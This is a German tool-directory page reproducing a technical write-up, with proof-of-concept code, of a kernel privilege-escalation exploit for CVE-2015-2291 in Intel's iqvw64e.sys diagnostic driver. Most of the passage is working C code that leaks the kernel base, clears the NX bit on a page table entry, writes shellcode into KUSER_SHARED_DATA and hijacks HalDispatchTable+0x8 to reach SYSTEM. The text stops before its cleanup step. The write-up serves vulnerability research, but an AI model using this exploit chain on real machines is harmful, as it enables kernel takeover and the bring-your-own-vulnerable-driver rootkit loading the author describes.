Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2015-2291 — (1) IQVW32.sys vor 1.3.1.0 und (2) IQVW64.sys vor 1.3.1.0 im Intel Ethernet-Diagnosetreiber für Windows ermöglicht es lokalen Benutzern, einen Denial-of-Service zu verursachen oder möglicherweise beliebigen Code mit Kernel-Berechtigungen auszuführen, indem sie einen manipulierten (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F oder (d) 0x80862007 IOCTL-Aufruf verwenden. | Kitploit
Tools/GitHubGitHub/gmh5225/cve-2015-2291
Privilege EscalationSchwachstellenanalyseExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubgmh5225/cve-2015-2291

CVE-2015-2291

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

(1) IQVW32.sys vor 1.3.1.0 und (2) IQVW64.sys vor 1.3.1.0 im Intel Ethernet-Diagnosetreiber für Windows ermöglicht es lokalen Benutzern, einen Denial-of-Service zu verursachen oder möglicherweise beliebigen Code mit Kernel-Berechtigungen auszuführen, indem sie einen manipulierten (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F oder (d) 0x80862007 IOCTL-Aufruf verwenden.

55vor 4 JahrenNoch nicht geprüft
Teilen

CVE-2015-2291

(1) IQVW32.sys vor Version 1.3.1.0 und (2) IQVW64.sys vor Version 1.3.1.0 im Intel Ethernet-Diagnosetreiber für Windows ermöglicht es lokalen Benutzern, einen Denial-of-Service zu verursachen oder möglicherweise beliebigen Code mit Kernel-Berechtigungen auszuführen, indem sie einen manipulierten (a) 0x80862013-, (b) 0x8086200B-, (c) 0x8086200F- oder (d) 0x80862007-IOCTL-Aufruf verwenden.

Übersicht

Dieses Repository enthält eine Aufarbeitung der fraglichen Sicherheitslücke sowie Proof-of-Concept-Exploits, die auf 64-Bit Windows 7 SP1 und Windows 10 20H2 funktionieren. Die Treiberdatei befindet sich im Verzeichnis Driver Files. Sollten Sie Tippfehler in der Aufarbeitung/dem Papier entdecken oder bestimmte Details ausführlicher beschrieben sehen wollen, erstellen Sie bitte ein Issue im Repository! Ich werde sie so schnell wie möglich beheben.

Motivation

Die Motivation, einen Exploit für genau diesen Gerätetreiber zu schreiben, liegt einzig und allein darin, dass er derzeit in freier Wildbahn missbraucht wird, um das nicht signierte Rootkit eines Angreifers zu laden. Mit der BYOVD-Methode (Bring Your Own Vulnerable Driver) kann Malware prüfen, ob sie mit erhöhten Privilegien läuft, eine Kopie des anfälligen Gerätetreibers ablegen, den Treiber laden und ihn anschließend ausnutzen, um Kernel-Code-Ausführung zum Laden des Rootkits zu erlangen. Es gelang mir nicht, die Malware-Probe erfolgreich zu reverse-engineeren, also habe ich es mir zur Aufgabe gemacht, den Exploit zu erstellen.

In freier Wildbahn gesichtete Proben: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/

CVE-2015-2291 - Technische Analyse eines Exploits

Der Gerätetreiber, nämlich iqvw64e.sys, ist ein Treiber, der für die Durchführung von Netzwerkadapter-Diagnosen entwickelt wurde. Er ermöglicht der Benutzermodus-Komponente die Interaktion mit dem Gerätetreiber, um eine Vielzahl von Kernel-Routinen auszuführen, indem er einige IO-Steuercodes (auch bekannt als IOCTLs) freigibt, wobei während der Interaktion ein „Unter“-IO-Steuercode im Eingabepuffer des Benutzers bereitgestellt wird. Der IO-Steuercode, der verwendet wird, um den anfälligen Codepfad zu treffen, ist 0x80862007. Zusätzlich zum primären Steuercode werden in dieser Analyse die genannten „Unter“-IO-Steuercodes behandelt: der Code 0x33 zum Treffen des memmove-Funktionsaufrufs und der Code 0x30 zum Treffen der Codepfade des memset-Funktionsaufrufs. Diese Aufarbeitung wird keine Details zur DriverEntry-Routine behandeln, da es auf der Microsoft-Dokumentationsseite genügend Dokumentation gibt, die Ihnen eine gründliche Erklärung liefert.

Zunächst möchten wir wissen, wie wir überhaupt mit diesem bestimmten Gerätetreiber interagieren können. Die gängigste Methode zur Kommunikation mit einem Gerätetreiber ist die Verwendung einer Funktion namens DeviceIoControl. Die grundlegende Idee hinter dieser Funktion ist, dass wir ein gültiges Treiberhandle übergeben können, das mit CreateFileA erstellt wurde, einen IO-Steuercode übergeben, der der gewünschten Kernel-Routine entspricht, eine Struktur (oder einen Puffer) übergeben, die erwartet wird, und die Funktion gibt Daten in unserem Ausgabepuffer zurück. Während Routinen wie diese manchmal notwendig sein können (z. B. Zugriff auf modellspezifische Register für Übertaktungszwecke), stellen sie auch ein ernstes Sicherheitsrisiko dar. Aber … wie?

Im Fall von CVE-2015-2291 kann die Sicherheitslücke von einem nicht privilegierten Benutzer ausgelöst werden. Da keine Bereinigungsprüfungen vorhanden sind und Administratorrechte nicht erforderlich sind, um die Sicherheitslücke auszunutzen, stellt dies ein Sicherheitsrisiko dar. Was unter diesen beiden Fehlern liegt, ist die Fähigkeit, die durch die IO-Steuercode-Schnittstelle freigegebenen memset- und memmove-Funktionsaufrufe vollständig zu kontrollieren. Erinnern Sie sich an die zuvor erwähnte Funktion DeviceIoControl, wie wir eine Struktur übergeben können, die in einer Kernel-Routine verwendet wird? So fügt sich alles zusammen.

Gehen wir einen Schritt zurück. Zuerst möchten wir das Treiberhandle erhalten, das mit dem anfälligen Gerätetreiber verbunden ist. Aber noch davor müssen wir das korrelierende benannte Geräteobjekt lokalisieren. Diese werden dem Benutzerraum durch einen symbolischen Link (oft hartcodiert) zur Verfügung gestellt, der mit WinObj, einem Teil der [SysInternals-Suite], gefunden werden kann. Obwohl wir ein String-Dump-Tool verwenden könnten, um den symbolischen Link auszulesen, oder alternativ den Gerätetreiber reverse-engineeren könnten, habe ich einfach den Gerätetreiber geladen und ihn mit WinObj lokalisiert. Der symbolische Link, der sich auf den Gerätetreiber bezieht, ist \\.\GLOBALROOT\Device\Nal. Um das Treiberhandle zu erhalten, müssen wir die Funktion CreateFileA aufrufen und sie ein gültiges Treiberhandle zurückgeben lassen, das wir später im Prozess verwenden können. Der Code für diesen Prozess lautet wie folgt:```C if (h_nal == (HANDLE)-1) { printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError()); unused = getchar(); return 1; } printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);

root@kitploit:~
Wir werden später im Exploitierungsprozess das Treiber-Handle verwenden. Zunächst beginnen wir mit der Vorbereitung unseres Exploits. Der nächste Schritt wäre das Laden der Bibliothek `ntdll.dll` mithilfe der Funktion [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya), um ein [Modul-Handle](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types) zurückzugeben, damit wir die benötigten Funktionen dynamisch lokalisieren können. Obwohl die Bibliothek `ntdll.dll` möglicherweise bereits in unseren Prozess geladen ist, müssen wir dennoch ein Handle für die Bibliothek erhalten, das wir verwenden können. Die Funktionen, die wir für den Exploit benötigen, sind [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation), um die Basisadresse des NT-Kernels (mit mittlerer Prozessintegrität) für später im Exploitierungsprozess zu leaken, und die Funktion [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html), um die Sicherheitslücke auszulösen. Der Code zum Laden der Bibliothek `ntdll.dll` sieht wie folgt aus:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
	printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);

Nachdem wir ein Handle auf die Bibliothek erhalten haben, beginnen wir damit, die Funktion NtQueryIntervalProfile zu lokalisieren. Zunächst benötigen wir eine Typdefinition für diese Funktion, da sie nicht dokumentiert ist. Obwohl Sie die Typdefinition online finden können, habe ich sie hier zur einfacheren Verfügung bereitgestellt:```C typedef unsigned int(__stdcall* NtQueryIntervalProfile)( unsigned int ProfileSource, PULONG Interval );

root@kitploit:~
Um diese Funktion zu verwenden, müssen wir auch eine Variable (lokal oder global, wie Sie möchten) mit dem Typ `NtQueryIntervalProfile` deklarieren. Nun, wie verwandeln wir diese Variable in eine tatsächliche Funktion? Dazu verwenden wir eine Funktion namens [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress). Indem wir ein Handle an das Modul übergeben, das wir durchsuchen möchten (der erste Parameter), und den Namen der Funktion übergeben (der zweite Parameter), können wir jede gewünschte Funktion in dem Modul lokalisieren und einen Zeiger auf diese Funktion abrufen! Code wird bereitgestellt, um Ihnen bei der Verarbeitung dieser Informationen zu helfen.```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
	printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);

Der Grund, warum dynamisches Laden von Funktionen und die Möglichkeit, sie zu verwenden, funktioniert, liegt darin, dass Funktionen selbst Zeiger auf ausführbaren Code sind. Der eigentliche Körper einer Funktion ist der Code, der ausgeführt wird.

Nachdem wir nun den Funktionszeiger NtQueryIntervalProfile aufgelöst haben, müssen wir immer noch die Adresse der Funktion NtQuerySystemInformation abrufen. Wie zuvor benötigen wir eine Typdefinition für diese Funktion und müssen auch eine Variable deklarieren, um die Funktion aufzurufen. Auch wie zuvor habe ich die Typdefinition zur einfachen Zugänglichkeit bereitgestellt.```C typedef NTSTATUS(WINAPI* NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );

root@kitploit:~
Und, ebenso wie zuvor, müssen wir die Funktion lokalisieren. Der einzige Unterschied zwischen dem vorherigen Aufruf von `GetProcAddress` und diesem ist die Funktion, nach der wir suchen. Wir können die Funktion kopieren und den zweiten Parameter ändern, um nach unserer zweiten Funktion zu suchen. Nachdem der Code geschrieben ist, sollten wir etwas Ähnliches haben wie:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
	printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);

Perfekt! Wir haben alle benötigten, nicht vorhandenen Funktionen gefunden. Jetzt müssen wir die Basisadresse des NT-Kernels leaken. Mit Hilfe von NtQuerySystemInformation können wir eine Abfrage erstellen, die die Basisadressen und andere Informationen aller derzeit geladenen Gerätetreiber zurückgibt. Der erste Parameter der NtQuerySystemInformation-Funktion ist ein Enum, genauer gesagt eines, das nicht öffentlich dokumentiert ist. Das Enum ist SystemModuleInformation, das den entsprechenden Wert 0xB hat. Dann müssen wir einen Zeiger auf eine der zurückgegebenen Strukturen übergeben. Die notwendigen Strukturen und Enums werden unten bereitgestellt, mit freundlicher Genehmigung von FuzzySecurity (@b33f):```C typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xB, } SYSTEM_INFORMATION_CLASS;

typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

root@kitploit:~
Aber warten Sie, es gibt noch mehr! Wir müssen die Größe der zu allokierenden Struktur angeben. Da die Größe der Struktur je nach Anzahl der Gerätetreiber, über die Informationen abgerufen werden sollen, variiert, müssen wir diese Funktion zweimal aufrufen; der erste Funktionsaufruf dient dazu, die erwartete Größe der Struktur abzurufen, und der zweite Funktionsaufruf dient dazu, Informationen abzurufen und in unserer Struktur zu speichern. Um die Größe abzurufen, verwenden Sie die zuvor erwähnte Enumeration `SystemModuleInformation` für den ersten Parameter, übergeben Sie einen Zeiger auf eine Variable, die die Größe der Struktur speichert, und übergeben Sie `0` (oder `NULL`) für die restlichen Parameter. Der Code sollte wie folgt aussehen:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);

Easy enough! We have successfully retrieved the size of the expected structure. Now, we need to allocate memory for our variable that will store the information. Using a function named VirtualAlloc, we can allocate stack memory at any address we provide, with any size we want, with our own set of protections, and return a pointer to this memory. For our purposes, we do not need to allocate this memory at a fixed address, so we will pass in 0 to allow the memory manager to choose a location in memory for us. Additionally, we will also need to allocate a block of stack memory with the size returned by NtQuerySystemInformation, which is why we had to store the value. As for the allocation type and the protection parameters, simply use the generic arguments shown in the code below.```C module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

root@kitploit:~
Jetzt, da wir unseren Stack-Speicher für die zurückgegebene Struktur zugewiesen haben, können wir die Systemmodulinformationen abfragen und eine Struktur abrufen, die Informationen über jeden geladenen Gerätetreiber enthält. Dazu können wir unseren Funktionsaufruf von `NtQuerySystemInformation` von zuvor wiederverwenden und einen Zeiger auf die Struktur (zweiter Parameter) sowie die Größe der Struktur (dritter Parameter) übergeben. Sieht das bei dir etwa so aus?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
	printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
	unused = getchar();
	return 0;
}
printf("\n[+] Queried system module information.");

Nun, ich würde hoffen, dass Sie etwas Ähnliches haben. Alles, was wir noch tun müssen, um die NT-Kernel-Basisadresse zu leaken, ist, unsere Struktur abzufragen! Sie müssen in diesem Fall keine Zeichenfolgen mit dem Namen des Treibers vergleichen, da die Treiberinformationen des NT-Kernels in dieser Struktur immer am Index 0 stehen. Um die Basisadresse eines Treibers abzurufen, geben Sie einfach den Wert des Strukturfelds ImageBaseAddress aus, speichern oder zurückgeben. Es ist auch gute Praxis, sicherzustellen, dass der Zeiger nicht NULL ist, bevor Sie ihn verwenden.```C if (module_info) { printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress); return (unsigned long long)module_info->Modules[0].ImageBaseAddress; }

printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;

root@kitploit:~
Wir haben erfolgreich die Kernel-Basisadresse zurückerhalten. Nun gibt es einen weiteren Schritt, bevor wir mit dem Ausnutzungsprozess dieser Schwachstelle beginnen. Wir müssen einen `QWORD`-Zeiger (eine 64-Bit-Ganzzahl) erstellen, der unsere [PTE (Page Table Entry)](https://en.wikipedia.org/wiki/Page_table) speichert, und dafür Stapelspeicher mit `VirtualAlloc` reservieren. Die PTEs werden später in diesem Dokument behandelt.
 
Wie zuvor gezeigt, verwenden wir `VirtualAlloc`, um Speicher zu reservieren und einen Zeiger auf den Speicherblock zurückzugeben. Der in meinem Exploit verwendete Code wird unten gezeigt:```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
	printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
	unused = getchar();
	return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);

Nun, da der letzte Schritt des Einrichtungsprozesses abgeschlossen ist, beginnen wir mit dem Exploit-Prozess!

Wie bereits in den früheren Teilen des Papiers erwähnt, ist der IO-Control-Code, den wir verwenden möchten, IOCTL 0x80862007. Aber wie übergeben wir die "Sub"-IOCTLs?

Nachweis, dass unser Eingabepuffer in rcx gespeichert wird

Ein Zeiger auf unsere Benutzerland-Eingabe, die wir an den Gerätetreiber übergeben, wird im rcx-Register gespeichert. Wie wir in dieser Abbildung sehen können, haben wir festgestellt, dass es einfach den Wert des ersten QWORD-Wertes in der Struktur dereferenziert, die wir übergeben werden. Dann führt es eine Switch-Case-Anweisung auf dem erhaltenen Wert aus.

Nachweis, dass unser Eingabepuffer in rcx gespeichert wird

Beim Durchblättern des dekompilierten Pseudocodes finden wir zwei Routinen, die es uns ermöglichen, alle drei Werte von memset bzw. memove zu kontrollieren. Durch Übergeben eines Wertes von 0x30 als erstes QWORD in der Struktur können wir den memset-Code-Pfad treffen. Alternativ, durch Übergeben eines Wertes von 0x33 als erstes QWORD in der Struktur, treffen wir stattdessen den memmove-Code-Pfad. Diese beiden Code-Pfade sind unten jeweils dargestellt.

Nachweis der memset-Kontrolle Nachweis der memmove-Kontrolle

Durch die Betrachtung der verwendeten Offsets des Eingabepuffers konnten wir für beide Funktionen Strukturen erstellen, die wir zur einfacheren Lesbarkeit übergeben können. Beachten Sie, dass es ein QWORD-Feld gibt, das als Padding verwendet wird. Obwohl wir seinen Wert nicht setzen werden, benötigen wir dieses Feld, damit unsere Strukturdefinition korrekt ist. Beachten Sie außerdem die Parameter, die in den Aufrufen dieser Routinen verwendet werden. Während des Reverse-Engineering-Prozesses haben wir gelernt, dass die übergebenen Parameter in der richtigen Reihenfolge mit ihren jeweiligen Funktionsdefinitionen sind. Abbildungen, die dies zeigen, sind ebenfalls unten bereitgestellt. Die memset-Code-Pfad-Eingabestruktur:```C typedef struct _MEMSET_INPUT_BUFFER { unsigned long long JumpTableCode; // Offset: 0x0 (0) unsigned long long Padding1; // Offset: 0x8 (8) unsigned long long Value; // Offset: 0x10 (16) unsigned long long Destination; // Offset: 0x18 (24) unsigned long long Length; // Offset: 0x20 (32) } MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;

root@kitploit:~
Die `memmove` Codepfad-Eingabestruktur:```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
	unsigned long long JumpTableCode;	// Offset: 0x0 (0)
	unsigned long long Padding1;		// Offset: 0x8 (8)
	unsigned long long* Source;		// Offset: 0x10 (16)
	unsigned long long* Destination;	// Offset: 0x18 (24)
	unsigned long long Length;		// Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

Proof of memset order Proof of memmove order

Nach einer schnellen Analyse konnte man sicher annehmen, dass diese uns einen willkürlichen Kernel-Lese- und Schreib-Exploit-Primitiv liefern werden. Dies ist perfekt für die Ausnutzung unter Windows 10, da wir keine Exploit-Primitive in beliebige Lese- und Schreiboperationen umwandeln müssen, und uns somit ermöglicht, diese Schwachstelle mühelos auszunutzen.

Um zu beginnen, werden wir unseren memmove-Exploit-Primitiv verwenden, um die Kernel-Funktion nt!MiGetPteAddress+0x13 auszulesen. An diesem Offset in der Funktion stellen wir fest, dass dort ein willkürlicher Wert vorhanden ist. In Kombination mit den anderen Operationen, die in unserem Exploit durchgeführt werden können, können wir die Basisadresse aller PTEs berechnen! Erinnern Sie sich an die Variable pte_address, die wir zuvor erstellt haben? Oder erinnern Sie sich an das Leaken der NT-Kernel-Basisadresse? All die zuvor besprochene Exploit-Vorbereitung hat dies möglich gemacht. Der Code zur Berechnung der Basisadresse aller PTEs ist unten dargestellt. Beachten Sie die Adresse von KUSER_SHARED_DATA, da diese unter Windows 10 20H2 eine der letzten Speicherregionen im Kernel war, die nicht von der Kernel-ASLR (Address Space Layout Randomization) betroffen war.

Proof of an arbitrary value located at nt!MiGetPteAddress+0x13```C unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050; current_pte_address = kuser_shared_data_loc >> 9; current_pte_address &= 0x7FFFFFFFF8;

memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;

DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);

root@kitploit:~
Nachdem wir nun die Basisadresse des PTE unserer Zielseite berechnet haben, möchten wir diese Adresse dereferenzieren und die Bits abrufen, die der Seiteneintrag verwendet. Diese Daten werden wir gleich benötigen, um diesen Speicherbereich auf Lesen, Schreiben und Ausführen zu ändern. Wir haben die `source`-Adresse in unserer Struktur so geändert, dass sie auf unsere PTE-Adresse zeigt, und das `destination`-Feld so geändert, dass es auf eine Stack-Variable zum Speichern der abgerufenen Bits zeigt, ohne andere Felder in der Eingabestruktur zu ändern.```C
unsigned long long current_pte_contents = 0;

memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = &current_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);

Jetzt, da wir die Bit-Inhalte des tatsächlichen PTE haben, möchten wir es als ausführbar markieren, ohne andere Bits ein- oder auszuschalten. Dazu wollen wir das höchstwertige Bit im abgerufenen Wert löschen, um das NX-Bit (No Execute) zu entfernen. Glücklicherweise können wir eine bitweise UND-Operation auf den gespeicherten Wert anwenden, indem wir den Wert 0x0FFFFFFFFFFFFFFF mit UND verknüpfen, um diese Aufgabe zu erfüllen. Anschließend lösen wir einen Schreibvorgang auf die Kerneladresse unter Verwendung unserer primitiven willkürlichen Schreiboperation aus, um den an der Adresse des PTE gespeicherten Wert zu überschreiben. Was unsere Struktur betrifft, werden wir das source-Strukturfeld ändern, um auf unsere gespeicherten Bits zu zeigen, und das destination-Feld ändern, um zurück auf die PTE-Adresse zu zeigen. Dies erfolgt im Wesentlichen in der umgekehrten Reihenfolge des Abrufens der PTE-Adresse. Dies wird mit dem folgenden Codeausschnitt demonstriert.```C current_pte_contents &= 0x0FFFFFFFFFFFFFFF; memmove_input_struct.Source = &current_pte_contents; memmove_input_struct.Destination = current_pte_address; DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);

root@kitploit:~
Bevor wir fortfahren, sollten wir überprüfen, dass die Inhalte des PTE überschrieben wurden. Falls das Bit-Überschreiben fehlschlägt, stürzt die Maschine ab (mit einem `KERNEL_SECURITY_CHECK_FAILURE` oder einem entsprechenden Bug Check). Zur Überprüfung verwenden wir den Befehl `!pte` in [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools), um zu bestätigen, dass unser Überschreiben wie beabsichtigt funktioniert hat.

![Proof of PTE bits being overwritten](https://raw.githubusercontent.com/Exploitables/CVE-2015-2291/main/Figures/PTE%20overwrite.png)

Bei der Untersuchung der PTE-Bits sehen wir, dass das NX-Bit nicht mehr vorhanden ist! Das bedeutet, dass der Speicherbereich `KUSER_SHARED_DATA` nun ausführbar ist. Da wir uns mit diesem Speicherbereich befassen, ist es sinnvoll, das Kernel-Payload irgendwo hier zu platzieren. Nach der Analyse des Speicherabschnitts haben wir erfahren, dass ein Offset von `0x50` von der Basis des `KUSER_SHARED_DATA`-Bereichs freigegebener Speicher ist. Dies ist der perfekte Ort, um unser Payload zu platzieren!

![Proof of KUSER_SHARED_DATA+0x50 consisting of unused memory](https://raw.githubusercontent.com/Exploitables/CVE-2015-2291/main/Figures/Free%20area%20of%20KUSER_SHARED_DATA%20memory.png)

Erinnern Sie sich an unsere `memset`-Schreibprimitive von früher? Mit dieser Primitive können wir alle Bytes in unserem Kernel-Payload durchlaufen und jedes einzelne Byte mit `memset` in diesen Speicherbereich schreiben. Obwohl es möglich ist, `memmove` zu verwenden, um das Payload an diese Stelle zu schreiben, wollten wir eine Gelegenheit nutzen, beide Primitiven einzusetzen, um zu demonstrieren, wie die eine oder andere missbraucht werden kann, insbesondere unter vollständiger Kontrolle. Wir werden den Sprung-Code `0x30` verwenden, um den `memset`-Codepfad zu treffen, mit einer Länge von `0x1` Bytes, die geschrieben werden sollen. Das `destination` muss um eins erhöht werden, um auf das nächste Byte des freigegebenen Speichers zu zeigen, zusammen mit dem Offset unseres Kernel-Payloads. Dieser Prozess kann mit der unten bereitgestellten `for`-Schleife demonstriert werden.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
	memset_input_struct.Destination = kuser_shared_data_loc + i;
	memset_input_struct.Value = shellcode[i];
	DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);

Während das mehrmalige Auslösen einer Sicherheitslücke ein Risiko für einen Systemabsturz darstellt, ist dies hier eine Ausnahme, aufgrund der allgemeinen Stabilität des Gerätetreibers und seiner (falsch) verwendeten Routinen. Für unseren nächsten Schritt möchten wir den ursprünglichen Funktionszeiger abrufen, der unter nt!HalDispatchTable+0x8 gespeichert ist. Dieser abgerufene Funktionszeiger wird im Wiederherstellungsschritt verwendet und verhindert, dass unser System aufgrund eines falschen Funktionszeigers zufällig abstürzt. Obwohl dieser Schritt unter Windows 7 nicht allzu wichtig ist, da unsere Payload-Ausführungsfunktion nicht häufig aufgerufen wird, hat seine Nutzung in den späteren Builds von Windows 10 zugenommen. Wie üblich werden wir den zurückgegebenen Zeiger in einer lokalen Variable auf unserem Stack speichern, indem wir erneut unsere Lese-Primitive missbrauchen! Wir werden auch wieder unsere geleakte NT-Kernel-Basisadresse verwenden, diesmal kombiniert mit einem Offset zur nt!HalDispatchTable mit einem zusätzlichen Offset von 0x8.```C memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET; memmove_input_struct.Destination = &recovery_address; DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);

root@kitploit:~
Nur noch ein paar Schritte! Nachdem wir den ursprünglichen Zeiger erfolgreich in der Dispatch-Tabelle gespeichert haben, ist es nun an der Zeit, denselben Zeiger mit unserer `KUSER_SHARED_DATA+0x50`-Adresse zu überschreiben, was zu `0xFFFFF78000000050` führt. An diesem Punkt ist alles bereit, und wir sind bereit, das System zu rooten! Ändern Sie einfach die Quelle des Pointer-Overwrites auf das, was zuvor das `destination` war, und übergeben Sie einen Zeiger auf unsere lokale Variable, die unsere Adresse für das `source`-Feld enthält.```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);

Die NtQueryIntervalProfile-Funktion ist dafür bekannt, Zeiger aus der HAL-Dispatch-Tabelle zu verwenden, insbesondere den Offset 0x8, und wird aus diesem Grund häufig missbraucht. Mit der Möglichkeit, willkürlich in den Kernel-Speicher zu schreiben, ist dies eine der einfachsten Exploitation-Techniken, die es gibt! An diesem Punkt in unserem Exploit haben wir nt authority\system-Rechte, aber wir möchten vor dem Starten unserer schönen Shell nur noch einen letzten Schritt ausführen: Aufräumen und Wiederherstellen.

